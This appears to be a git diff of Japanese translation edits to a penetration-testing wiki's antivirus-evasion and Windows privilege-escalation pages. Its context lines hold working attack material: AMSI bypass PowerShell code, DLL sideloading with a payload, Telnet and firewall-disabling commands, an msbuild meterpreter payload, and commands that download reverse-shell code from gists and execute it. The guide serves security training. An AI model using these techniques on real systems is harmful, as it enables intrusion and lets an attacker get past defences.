%windir%\Windows\System32\kerberos.dll - **NTLMv1** および **NTLMv2**: 互換性の理由 - %windir%\Windows\System32\msv1_0.dll -- **Digest**: WebサーバーおよびLDAP、MD5ハッシュ形式のパスワード +- **Digest**: WebサーバーとLDAP、MD5ハッシュ形式のパスワード - %windir%\Windows\System32\Wdigest.dll - **Schannel**: SSLおよびTLS - %windir%\Windows\System32\Schannel.dll diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 54d839cad..9253b7e54 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -10,11 +10,11 @@ ### **静的検出** -静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイトの配列にフラグを立て、ファイル自体から情報を抽出することによって達成されます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります: +静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイトの配列にフラグを立てることによって達成され、ファイル自体から情報を抽出することも含まれます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります: - **暗号化** -バイナリを暗号化すると、AVがプログラムを検出する方法はなくなりますが、メモリ内でプログラムを復号化して実行するためのローダーが必要になります。 +バイナリを暗号化すると、AVがプログラムを検出する方法はなくなりますが、プログラムをメモリ内で復号化して実行するためのローダーが必要になります。 - **難読化** @@ -22,22 +22,22 @@ - **カスタムツール** -独自のツールを開発すれば、既知の悪いシグネチャは存在しませんが、これには多くの時間と労力がかかります。 +独自のツールを開発すれば、既知の悪意のあるシグネチャは存在しませんが、これには多くの時間と労力がかかります。 > [!NOTE] -> Windows Defenderの静的検出に対して確認する良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。 +> Windows Defenderの静的検出に対抗する良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。 -実践的なAV回避に関するこの[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)をぜひチェックすることをお勧めします。 +実践的なAV回避に関するこの[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf)をぜひチェックしてください。 ### **動的分析** -動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することです(例:ブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど)。この部分は扱いが少し難しいことがありますが、サンドボックスを回避するためにできることはいくつかあります。 +動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することです(例:ブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど)。この部分は扱うのが少し難しいことがありますが、サンドボックスを回避するためにできることはいくつかあります。 -- **実行前のスリープ** 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーの作業フローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用するとバイナリの分析を妨げることができます。ただし、多くのAVのサンドボックスは、実装方法によってはスリープをスキップすることができます。 -- **マシンのリソースを確認** 通常、サンドボックスは扱えるリソースが非常に少ない(例:< 2GB RAM)ため、そうでなければユーザーのマシンを遅くする可能性があります。ここでは非常にクリエイティブになることもできます。たとえば、CPUの温度やファンの速度を確認することで、すべてがサンドボックスに実装されているわけではありません。 -- **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合は、コンピュータのドメインをチェックして指定したものと一致するか確認できます。一致しない場合は、プログラムを終了させることができます。 +- **実行前のスリープ** 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーのワークフローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用するとバイナリの分析を妨げることができます。問題は、多くのAVのサンドボックスが実装方法によってはスリープをスキップできることです。 +- **マシンのリソースをチェック** 通常、サンドボックスは扱えるリソースが非常に少ない(例:< 2GB RAM)ため、そうでなければユーザーのマシンを遅くする可能性があります。ここでは非常にクリエイティブになることもできます。たとえば、CPUの温度やファンの回転数をチェックすることで、すべてがサンドボックスに実装されているわけではありません。 +- **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合、コンピュータのドメインをチェックして指定したものと一致するか確認できます。一致しない場合は、プログラムを終了させることができます。 -Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであるため、爆発前にマルウェア内でコンピュータ名を確認できます。名前がHAL9THと一致する場合、Defenderのサンドボックス内にいることを意味するため、プログラムを終了させることができます。 +Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであるため、爆発前にマルウェア内でコンピュータ名をチェックできます。名前がHAL9THと一致する場合、Defenderのサンドボックス内にいることを意味するので、プログラムを終了させることができます。
@@ -45,30 +45,30 @@ Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THで

Red Team VX Discord #malware-dev チャンネル

-この投稿で以前に述べたように、**公開ツール**は最終的に**検出される**ため、あなたは自分自身に何かを尋ねるべきです: +この投稿で以前に述べたように、**公開ツール**は最終的に**検出される**ので、自分自身に何かを尋ねるべきです: -たとえば、LSASSをダンプしたい場合、**本当にmimikatzを使用する必要がありますか**?それとも、あまり知られていない別のプロジェクトを使用してLSASSをダンプすることができますか。 +たとえば、LSASSをダンプしたい場合、**本当にmimikatzを使用する必要がありますか**?それとも、あまり知られていない別のプロジェクトを使用してLSASSをダンプできますか。 -正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられたマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢です。したがって、達成しようとしていることの代替手段を探してください。 +正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられたマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢のようなものです。したがって、達成しようとしていることの代替手段を探してください。 > [!NOTE] > 回避のためにペイロードを変更する際は、Defenderで**自動サンプル送信をオフにする**ことを確認し、長期的に回避を達成することが目標である場合は、**VIRUSTOTALにアップロードしないでください**。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。 ## EXEとDLL -可能な限り、常に**回避のためにDLLを使用することを優先してください**。私の経験では、DLLファイルは通常**はるかに検出されにくく**、分析されにくいため、場合によっては検出を回避するための非常に簡単なトリックです(もちろん、ペイロードがDLLとして実行される方法がある場合)。 +可能な限り、常に**回避のためにDLLを使用することを優先してください**。私の経験では、DLLファイルは通常**はるかに検出されにくく**、分析されにくいため、場合によっては検出を回避するための非常にシンプルなトリックです(もちろん、ペイロードがDLLとして実行される方法がある場合)。 この画像に示されているように、HavocのDLLペイロードはantiscan.meでの検出率が4/26であるのに対し、EXEペイロードは7/26の検出率です。

antiscan.meでの通常のHavoc EXEペイロードと通常のHavoc DLLの比較

-ここでは、DLLファイルを使用してよりステルス性を高めるためのいくつかのトリックを示します。 +ここでは、DLLファイルを使用してよりステルス性を高めるためのいくつかのトリックを紹介します。 ## DLLサイドローディングとプロキシ -**DLLサイドローディング**は、ローダーによって使用されるDLL検索順序を利用し、被害者アプリケーションと悪意のあるペイロードを並べて配置します。 +**DLLサイドローディング**は、ローダーによって使用されるDLL検索順序を利用し、被害者アプリケーションと悪意のあるペイロードを並べて配置することです。 -DLLサイドローディングに脆弱なプログラムを確認するには、[Siofra](https://github.com/Cybereason/siofra)と次のPowerShellスクリプトを使用できます: +DLLサイドローディングに脆弱なプログラムをチェックするには、[Siofra](https://github.com/Cybereason/siofra)と次のPowerShellスクリプトを使用できます: ```powershell Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { $binarytoCheck = "C:\Program Files\" + $_ @@ -79,7 +79,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija 私はあなたが**DLLハイジャック可能/サイドロード可能なプログラムを自分で調査することを強くお勧めします**。この技術は適切に行えば非常にステルス性がありますが、一般に知られているDLLサイドロード可能なプログラムを使用すると、簡単に捕まる可能性があります。 -悪意のあるDLLをプログラムが読み込むことを期待する名前で配置するだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているため、この問題を解決するために、**DLLプロキシング/フォワーディング**という別の技術を使用します。 +悪意のあるDLLをプログラムが読み込むことを期待する名前で置くだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているため、この問題を解決するために、**DLLプロキシング/フォワーディング**という別の技術を使用します。 **DLLプロキシング**は、プログラムがプロキシ(および悪意のある)DLLから元のDLLに行う呼び出しを転送し、プログラムの機能を保持しつつ、ペイロードの実行を処理できるようにします。 @@ -92,7 +92,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija 3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn) 4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin) ``` -最後のコマンドは、DLLソースコードテンプレートと元の名前が変更されたDLLの2つのファイルを生成します。 +最後のコマンドは、DLLソースコードテンプレートと、元の名前を変更したDLLの2つのファイルを生成します。
``` @@ -127,7 +127,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez ## AMSI (アンチマルウェアスキャンインターフェース) -AMSIは「[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless_malware)」を防ぐために作成されました。最初は、AVは**ディスク上のファイル**のみをスキャンすることができたため、ペイロードを**直接メモリ内で**実行できれば、AVはそれを防ぐための十分な可視性を持っていませんでした。 +AMSIは「[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless_malware)」を防ぐために作成されました。最初は、AVは**ディスク上のファイル**のみをスキャンすることができたため、ペイロードを**直接メモリ内で実行**できれば、AVはそれを防ぐための十分な可視性を持っていませんでした。 AMSI機能はWindowsのこれらのコンポーネントに統合されています。 @@ -137,7 +137,7 @@ AMSI機能はWindowsのこれらのコンポーネントに統合されていま - JavaScriptおよびVBScript - Office VBAマクロ -これは、スクリプトの内容を暗号化されておらず難読化されていない形式で公開することにより、アンチウイルスソリューションがスクリプトの動作を検査できるようにします。 +これは、スクリプトの内容を暗号化されておらず、難読化されていない形式で公開することにより、アンチウイルスソリューションがスクリプトの動作を検査できるようにします。 `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')`を実行すると、Windows Defenderで次のアラートが表示されます。 @@ -153,21 +153,21 @@ AMSIを回避する方法はいくつかあります: AMSIは主に静的検出で機能するため、読み込もうとするスクリプトを変更することは、検出を回避する良い方法となる可能性があります。 -ただし、AMSIは複数の層があってもスクリプトを難読化解除する能力を持っているため、難読化の方法によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。 +ただし、AMSIは複数のレイヤーがあってもスクリプトを難読化解除する能力を持っているため、難読化は実施方法によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。 - **AMSIバイパス** -AMSIはpowershell(またはcscript.exe、wscript.exeなど)プロセスにDLLを読み込むことによって実装されているため、特権のないユーザーとして実行していても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。 +AMSIはpowershell(またはcscript.exe、wscript.exeなど)プロセスにDLLをロードすることによって実装されているため、特権のないユーザーとして実行していても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。 **エラーを強制する** -AMSIの初期化を失敗させる(amsiInitFailed)ことで、現在のプロセスに対してスキャンが開始されない結果になります。元々、これは[Matt Graeber](https://twitter.com/mattifestation)によって公開され、Microsoftはより広範な使用を防ぐためのシグネチャを開発しました。 +AMSIの初期化を失敗させる(amsiInitFailed)ことで、現在のプロセスに対してスキャンが開始されない結果になります。元々これは[Matt Graeber](https://twitter.com/mattifestation)によって公開され、Microsoftはより広範な使用を防ぐためのシグネチャを開発しました。 ```powershell [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` たった1行のPowerShellコードで、現在のPowerShellプロセスに対してAMSIを無効にすることができました。この行はもちろんAMSI自体によってフラグが立てられているため、この技術を使用するにはいくつかの修正が必要です。 -こちらは、私がこの[Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)から取った修正されたAMSIバイパスです。 +こちらは、私がこの [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) から取った修正されたAMSIバイパスです。 ```powershell Try{#Ams1 bypass technic nº 2 $Xdatabase = 'Utils';$Homedrive = 'si' @@ -181,26 +181,26 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static") $Spotfix.SetValue($null,$true) }Catch{Throw $_} ``` -念のため、この投稿が公開されるとおそらくフラグが立つので、検出されないことを計画している場合は、コードを公開しない方が良いでしょう。 +念のため、この投稿が公開されるとおそらくフラグが立てられるので、検出されないことを計画している場合は、コードを公開しないでください。 **メモリパッチ** この技術は最初に [@RastaMouse](https://twitter.com/_RastaMouse/) によって発見され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを見つけ、それをE_INVALIDARGのコードを返す命令で上書きすることを含みます。これにより、実際のスキャンの結果は0を返し、これはクリーンな結果として解釈されます。 > [!NOTE] -> より詳細な説明については [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) をお読みください。 +> より詳細な説明については、[https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)をお読みください。 -また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については [**このページ**](basic-powershell-for-pentesters/#amsi-bypass) と [このリポジトリ](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) をチェックしてください。 +また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については、[**このページ**](basic-powershell-for-pentesters/#amsi-bypass)や[this repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)をチェックしてください。 -また、このスクリプトはメモリパッチを介して各新しいPowerShellをパッチします。 +また、このスクリプトはメモリパッチを介して各新しいPowershをパッチします。 ## 難読化 C#のクリアテキストコードを**難読化**したり、バイナリをコンパイルするための**メタプログラミングテンプレート**を生成したり、**コンパイルされたバイナリを難読化**するために使用できるツールがいくつかあります。 -- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 難読化ツール** -- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/) コンパイルスイートのオープンソースフォークを提供し、[コードの難読化]()と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。 -- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscatorは、`C++11/14`言語を使用して、外部ツールを使用せず、コンパイラを変更することなく、コンパイル時に難読化されたコードを生成する方法を示しています。 +- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C#難読化ツール** +- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/)コンパイルスイートのオープンソースフォークを提供し、[コード難読化]()と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。 +- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscatorは、`C++11/14`言語を使用して、外部ツールを使用せず、コンパイラを変更せずに、コンパイル時に難読化されたコードを生成する方法を示しています。 - [**obfy**](https://github.com/fritzone/obfy): C++テンプレートメタプログラミングフレームワークによって生成された難読化された操作のレイヤーを追加し、アプリケーションをクラッキングしようとする人の生活を少し難しくします。 - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatrazは、.exe、.dll、.sysなどのさまざまなpeファイルを難読化できるx64バイナリ難読化ツールです。 - [**metame**](https://github.com/a0rtega/metame): Metameは、任意の実行可能ファイル用のシンプルなメタモルフィックコードエンジンです。 @@ -225,11 +225,11 @@ SmartScreenは主に評判ベースのアプローチで機能し、一般的で > [!NOTE] > **信頼された**署名証明書で署名された実行可能ファイルは**SmartScreenをトリガーしない**ことに注意することが重要です。 -ペイロードがMark of The Webを受け取らないようにする非常に効果的な方法は、それらをISOのようなコンテナにパッケージ化することです。これは、Mark-of-the-Web (MOTW) **が** **非NTFS**ボリュームに適用できないためです。 +ペイロードがMark of The Webを受け取らないようにする非常に効果的な方法は、それらをISOのようなコンテナにパッケージすることです。これは、Mark-of-the-Web(MOTW)が**非NTFS**ボリュームには**適用できない**ためです。
-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)は、Mark-of-the-Webを回避するためにペイロードを出力コンテナにパッケージ化するツールです。 +[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)は、Mark-of-the-Webを回避するためにペイロードを出力コンテナにパッケージするツールです。 使用例: ```powershell @@ -253,7 +253,7 @@ Adding file: /TotallyLegitApp.exe [+] Generated file written to (size: 3420160): container.iso ``` -スマートスクリーンをバイパスするためのデモで、ペイロードをISOファイル内にパッケージ化する方法を示しています。[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)を使用しています。 +スマートスクリーンをバイパスするデモで、[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)を使用してペイロードをISOファイル内にパッケージ化します。
@@ -267,7 +267,7 @@ C# バイナリをメモリにロードすることはかなり前から知ら - **Fork\&Run** -これは、**新しい犠牲プロセスを生成し**、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォークと実行の方法の利点は、実行が**私たちのビーコンインプラントプロセスの外部**で行われることです。これは、ポストエクスプロイトアクションで何かがうまくいかない場合や捕まった場合、**私たちのインプラントが生き残る可能性がはるかに高い**ことを意味します。欠点は、**行動検出**によって捕まる可能性が**高くなる**ことです。 +これは、**新しい犠牲プロセスを生成し**、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォークと実行の方法の利点は、実行が**私たちのビーコンインプラントプロセスの外側**で行われることです。これは、ポストエクスプロイトアクションの何かがうまくいかなかったり捕まったりした場合、**私たちのインプラントが生き残る可能性がはるかに高くなる**ことを意味します。欠点は、**行動検出**によって捕まる可能性が**高くなる**ことです。
@@ -278,17 +278,17 @@ C# バイナリをメモリにロードすることはかなり前から知ら
> [!NOTE] -> C# アセンブリのロードについてもっと知りたい場合は、この記事をチェックしてください [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) と彼らのInlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))。 +> C# アセンブリのロードについてもっと知りたい場合は、この記事をチェックしてください [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) と彼らのInlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) C# アセンブリを**PowerShellから**ロードすることもできます。 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) と [S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk)をチェックしてください。 ## 他のプログラミング言語の使用 -[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)で提案されているように、妥協されたマシンに**攻撃者が制御するSMB共有にインストールされたインタプリタ環境へのアクセスを与えることによって、他の言語を使用して悪意のあるコードを実行することが可能です**。 +[**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins)で提案されているように、攻撃者が制御するSMB共有にインストールされたインタープリタ環境へのアクセスを提供することで、他の言語を使用して悪意のあるコードを実行することが可能です。 -インタプリタバイナリとSMB共有上の環境へのアクセスを許可することで、妥協されたマシンの**メモリ内でこれらの言語の任意のコードを実行することができます**。 +インタープリタバイナリとSMB共有上の環境へのアクセスを許可することで、**侵害されたマシンのメモリ内でこれらの言語の任意のコードを実行することができます**。 -リポジトリは次のように示しています:Defenderはスクリプトをスキャンし続けますが、Go、Java、PHPなどを利用することで、**静的シグネチャをバイパスする柔軟性が高まります**。これらの言語でランダムな非難読化リバースシェルスクリプトをテストした結果、成功が確認されています。 +リポジトリは次のように示しています:Defenderはスクリプトをスキャンし続けますが、Go、Java、PHPなどを利用することで、**静的シグネチャをバイパスする柔軟性が高まります**。これらの言語でランダムな非難読化リバースシェルスクリプトをテストした結果、成功が確認されました。 ## 高度な回避 @@ -298,18 +298,22 @@ C# アセンブリを**PowerShellから**ロードすることもできます。 [@ATTL4S](https://twitter.com/DaniLJ94)のこのトークをぜひご覧ください。より高度な回避技術についての足がかりを得ることができます。 -{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %} +{{#ref}} +https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo +{{#endref}} -[@mariuszbit](https://twitter.com/mariuszbit)による深い回避についての別の素晴らしいトークもあります。 +[@mariuszbit](https://twitter.com/mariuszbit)による深い回避に関する別の素晴らしいトークもあります。 -{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %} +{{#ref}} +https://www.youtube.com/watch?v=IbA7Ung39o4 +{{#endref}} ## **古い技術** ### **Defenderが悪意のあるものとして見つける部分を確認する** -[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)を使用すると、**バイナリの一部を削除**して、**Defenderが悪意のあるものとして見つけている部分を特定し**、それを分割してくれます。\ -同じことを行う別のツールは、[**avred**](https://github.com/dobin/avred)で、オープンウェブでサービスを提供しています [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)。 +[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck)を使用すると、**バイナリの一部を削除**して、**Defenderが悪意のあるものとして見つける部分を特定し**、それを分割してくれます。\ +同じことを行う別のツールは、[**avred**](https://github.com/dobin/avred)で、オープンウェブでサービスを提供しています [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) ### **Telnetサーバー** @@ -321,7 +325,7 @@ pkgmgr /iu:"TelnetServer" /quiet ```bash sc config TlntSVR start= auto obj= localsystem ``` -**テレネットポートの変更** (ステルス) とファイアウォールの無効化: +**テレネットポートを変更** (ステルス)し、ファイアウォールを無効にします: ``` tlntadmn config port=80 netsh advfirewall set allprofiles state off @@ -340,7 +344,7 @@ netsh advfirewall set allprofiles state off #### **リバース接続** -**攻撃者**は **ホスト内で** バイナリ `vncviewer.exe -listen 5900` を実行し、リバース **VNC接続**を受け取る準備をします。その後、**被害者**内で: winvncデーモン `winvnc.exe -run` を開始し、`winwnc.exe [-autoreconnect] -connect ::5900` を実行します。 +**攻撃者**は **ホスト内で** バイナリ `vncviewer.exe -listen 5900` を実行し、リバース **VNC接続**をキャッチする準備をします。その後、**被害者**内で: winvncデーモン `winvnc.exe -run` を開始し、`winwnc.exe [-autoreconnect] -connect ::5900` を実行します。 **警告:** ステルスを維持するために、いくつかのことを行ってはいけません @@ -358,7 +362,7 @@ cd GreatSCT/setup/ cd .. ./GreatSCT.py ``` -GreatSCTの内部: +GreatSCTの内部: ``` use 1 list #Listing available payloads @@ -368,7 +372,7 @@ sel lport 4444 generate #payload is the default name #This will generate a meterpreter xml and a rcc file for msfconsole ``` -今すぐ **lister** を `msfconsole -r file.rc` で **開始** し、**xml ペイロード** を次のように **実行** します: +今、**lister**を`msfconsole -r file.rc`で**開始**し、**xmlペイロード**を次のように**実行**します: ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml ``` @@ -473,9 +477,11 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g 32bit: powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell ``` -{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %} +{{#ref}} +https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f +{{#endref}} -C# オブfuscators リスト: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) +C# オブファスケーターのリスト: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator) ### C++ ``` @@ -523,5 +529,4 @@ https://github.com/praetorian-code/vulcan - [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion) - {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 165ed3b17..2d71c5033 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -8,15 +8,15 @@ ### アクセストークン -**Windowsアクセストークンが何か分からない場合は、続行する前に以下のページを読んでください:** +**Windowsアクセストークンが何か知らない場合は、続行する前に以下のページを読んでください:** {{#ref}} access-tokens.md {{#endref}} -### ACLs - DACLs/SACLs/ACEs +### ACL - DACL/SACL/ACE -**ACLs - DACLs/SACLs/ACEsに関する詳細は以下のページを確認してください:** +**ACL - DACL/SACL/ACEに関する詳細情報は以下のページを確認してください:** {{#ref}} acls-dacls-sacls-aces.md @@ -24,7 +24,7 @@ acls-dacls-sacls-aces.md ### 整合性レベル -**Windowsの整合性レベルが何か分からない場合は、続行する前に以下のページを読んでください:** +**Windowsの整合性レベルが何か知らない場合は、続行する前に以下のページを読んでください:** {{#ref}} integrity-levels.md @@ -42,7 +42,7 @@ Windowsには、**システムの列挙を妨げる**、実行可能ファイル ### バージョン情報の列挙 -Windowsのバージョンに既知の脆弱性がないか確認してください(適用されたパッチも確認してください)。 +Windowsのバージョンに既知の脆弱性があるか確認してください(適用されたパッチも確認してください)。 ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -57,7 +57,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ``` ### バージョンのエクスプロイト -この [site](https://msrc.microsoft.com/update-guide/vulnerability) は、Microsoftのセキュリティ脆弱性に関する詳細情報を検索するのに便利です。このデータベースには4,700以上のセキュリティ脆弱性があり、Windows環境が提示する**大規模な攻撃面**を示しています。 +この[サイト](https://msrc.microsoft.com/update-guide/vulnerability)は、Microsoftのセキュリティ脆弱性に関する詳細情報を検索するのに便利です。このデータベースには4,700以上のセキュリティ脆弱性があり、Windows環境が提示する**大規模な攻撃面**を示しています。 **システム上で** @@ -79,7 +79,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ### 環境 -env変数に保存された資格情報/重要な情報はありますか? +環境変数に保存された資格情報/重要な情報はありますか? ```bash set dir env: @@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### PowerShell トランスクリプトファイル -これをオンにする方法は[https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)で学ぶことができます。 +この機能をオンにする方法は[https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)で学ぶことができます。 ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -125,17 +125,17 @@ PowersShell ログから最後の 15 イベントを表示するには、次の ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` -### PowerShell **スクリプトブロックログ記録** +### PowerShell **スクリプトブロックロギング** -スクリプトの実行の完全な活動と全内容の記録がキャプチャされ、実行されるコードの各ブロックが文書化されることが保証されます。このプロセスは、各活動の包括的な監査証跡を保持し、フォレンジックや悪意のある行動の分析に役立ちます。実行時にすべての活動を文書化することにより、プロセスに関する詳細な洞察が提供されます。 